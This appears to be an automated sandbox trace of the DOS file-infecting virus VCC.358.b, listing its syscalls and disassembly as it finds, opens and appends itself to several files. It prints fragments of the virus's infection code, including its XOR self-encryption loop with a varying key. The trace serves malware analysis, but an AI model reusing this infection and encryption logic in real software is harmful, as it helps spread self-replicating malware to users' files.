Sample viewer

vx.netlux.org/Virus.DOS.VCC.358.b

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:09:47.687690069Z 26 PC: 12a73 | Set disk transfer address
2018-12-17T23:09:47.701374748Z 37 PC: 12a80 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T23:09:47.702475697Z 37 PC: 12a84 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T23:09:47.703445381Z 78 PC: 12a9d | Find first file
2018-12-17T23:09:47.709859202Z 61 PC: 12b3a | Open file (Filename = '')
2018-12-17T23:09:47.716010132Z 63 PC: 12b49 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:47.722067084Z 66 PC: 12b58 | Move file pointer
2018-12-17T23:09:47.723936108Z 66 PC: 12b67 | Move file pointer
2018-12-17T23:09:47.72529268Z 64 PC: 12b73 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:47.727822808Z 66 PC: 12b7f | Move file pointer
2018-12-17T23:09:47.729332584Z 44 PC: 12b83 | Get time 0x12b83: mov byte ptr [bp + 0x266], dl
0x12b87: call 0x12b9d
0x12b8a: mov ah, 0x40
0x12b8c: mov cx, 0x166
0x12b8f: lea dx, word ptr [bp + 0x106]
0x12b93: int 0x21
0x12b95: call 0x12b9d
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: lea si, word ptr [bp + 0x120]
0x12ba1: mov cx, 0x127
0x12ba4: xor byte ptr [si], 0
0x12ba7: inc si
0x12ba8: dec cx
0x12ba9: jne 0x12ba4
0x12bab: ret
0x12bac: add word ptr [bx], di
0x12bae: aas
0x12baf: aas
2018-12-17T23:09:47.731975258Z 64 PC: 12b95 | Write file or device (Write 358 bytes on handle 5)
2018-12-17T23:09:47.74495244Z 62 PC: 12b9c | Close file
2018-12-17T23:09:47.753624427Z 79 PC: 12a9d | Find next file
2018-12-17T23:09:47.756918543Z 61 PC: 12b3a | Open file (Filename = '')
2018-12-17T23:09:47.763692938Z 63 PC: 12b49 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:47.769841439Z 66 PC: 12b58 | Move file pointer
2018-12-17T23:09:47.775503262Z 66 PC: 12b67 | Move file pointer
2018-12-17T23:09:47.776898107Z 64 PC: 12b73 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:47.779497593Z 66 PC: 12b7f | Move file pointer
2018-12-17T23:09:47.781790481Z 44 PC: 12b83 | Get time 0x12b83: mov byte ptr [bp + 0x266], dl
0x12b87: call 0x12b9d
0x12b8a: mov ah, 0x40
0x12b8c: mov cx, 0x166
0x12b8f: lea dx, word ptr [bp + 0x106]
0x12b93: int 0x21
0x12b95: call 0x12b9d
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: lea si, word ptr [bp + 0x120]
0x12ba1: mov cx, 0x127
0x12ba4: xor byte ptr [si], 0x3c
0x12ba7: inc si
0x12ba8: dec cx
0x12ba9: jne 0x12ba4
0x12bab: ret
0x12bac: add word ptr [bx], di
0x12bae: aas
0x12baf: aas
2018-12-17T23:09:47.784267965Z 64 PC: 12b95 | Write file or device (Write 358 bytes on handle 5)
2018-12-17T23:09:47.787252828Z 62 PC: 12b9c | Close file
2018-12-17T23:09:47.79599207Z 79 PC: 12a9d | Find next file
2018-12-17T23:09:47.798648687Z 61 PC: 12b3a | Open file (Filename = '')
2018-12-17T23:09:47.804781866Z 63 PC: 12b49 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:47.81156824Z 66 PC: 12b58 | Move file pointer
2018-12-17T23:09:47.812989362Z 66 PC: 12b67 | Move file pointer
2018-12-17T23:09:47.814294033Z 64 PC: 12b73 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:47.816970365Z 66 PC: 12b7f | Move file pointer
2018-12-17T23:09:47.818500738Z 44 PC: 12b83 | Get time 0x12b83: mov byte ptr [bp + 0x266], dl
0x12b87: call 0x12b9d
0x12b8a: mov ah, 0x40
0x12b8c: mov cx, 0x166
0x12b8f: lea dx, word ptr [bp + 0x106]
0x12b93: int 0x21
0x12b95: call 0x12b9d
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: lea si, word ptr [bp + 0x120]
0x12ba1: mov cx, 0x127
0x12ba4: xor byte ptr [si], 0x41
0x12ba7: inc si
0x12ba8: dec cx
0x12ba9: jne 0x12ba4
0x12bab: ret
0x12bac: add word ptr [bx], di
0x12bae: aas
0x12baf: aas
2018-12-17T23:09:47.820577102Z 64 PC: 12b95 | Write file or device (Write 358 bytes on handle 5)
2018-12-17T23:09:47.823381787Z 62 PC: 12b9c | Close file
2018-12-17T23:09:47.831395751Z 79 PC: 12a9d | Find next file
2018-12-17T23:09:47.833798458Z 61 PC: 12b3a | Open file (Filename = '')
2018-12-17T23:09:47.840258741Z 63 PC: 12b49 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:47.846360836Z 66 PC: 12b58 | Move file pointer
2018-12-17T23:09:47.847648905Z 66 PC: 12b67 | Move file pointer
2018-12-17T23:09:47.861181829Z 64 PC: 12b73 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:47.863667315Z 66 PC: 12b7f | Move file pointer
2018-12-17T23:09:47.864820068Z 44 PC: 12b83 | Get time 0x12b83: mov byte ptr [bp + 0x266], dl
0x12b87: call 0x12b9d
0x12b8a: mov ah, 0x40
0x12b8c: mov cx, 0x166
0x12b8f: lea dx, word ptr [bp + 0x106]
0x12b93: int 0x21
0x12b95: call 0x12b9d
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: lea si, word ptr [bp + 0x120]
0x12ba1: mov cx, 0x127
0x12ba4: xor byte ptr [si], 0x41
0x12ba7: inc si
0x12ba8: dec cx
0x12ba9: jne 0x12ba4
0x12bab: ret
0x12bac: add word ptr [bx], di
0x12bae: aas
0x12baf: aas
2018-12-17T23:09:47.867285371Z 64 PC: 12b95 | Write file or device (Write 358 bytes on handle 5)
2018-12-17T23:09:47.869886755Z 62 PC: 12b9c | Close file
2018-12-17T23:09:47.877282243Z 79 PC: 12a9d | Find next file
2018-12-17T23:09:47.87972596Z 61 PC: 12b3a | Open file (Filename = '')
2018-12-17T23:09:47.886205635Z 63 PC: 12b49 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:47.892290972Z 66 PC: 12b58 | Move file pointer
2018-12-17T23:09:47.893654173Z 66 PC: 12b67 | Move file pointer
2018-12-17T23:09:47.895007873Z 64 PC: 12b73 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:47.89739171Z 66 PC: 12b7f | Move file pointer
2018-12-17T23:09:47.898697358Z 44 PC: 12b83 | Get time 0x12b83: mov byte ptr [bp + 0x266], dl
0x12b87: call 0x12b9d
0x12b8a: mov ah, 0x40
0x12b8c: mov cx, 0x166
0x12b8f: lea dx, word ptr [bp + 0x106]
0x12b93: int 0x21
0x12b95: call 0x12b9d
0x12b98: mov ah, 0x3e
0x12b9a: int 0x21
0x12b9c: ret
0x12b9d: lea si, word ptr [bp + 0x120]
0x12ba1: mov cx, 0x127
0x12ba4: xor byte ptr [si], 0x47
0x12ba7: inc si
0x12ba8: dec cx
0x12ba9: jne 0x12ba4
0x12bab: ret
0x12bac: add word ptr [bx], di
0x12bae: aas
0x12baf: aas
2018-12-17T23:09:47.900879342Z 64 PC: 12b95 | Write file or device (Write 358 bytes on handle 5)
2018-12-17T23:09:47.903461281Z 62 PC: 12b9c | Close file
2018-12-17T23:09:47.911280725Z 26 PC: 12ab7 | Set disk transfer address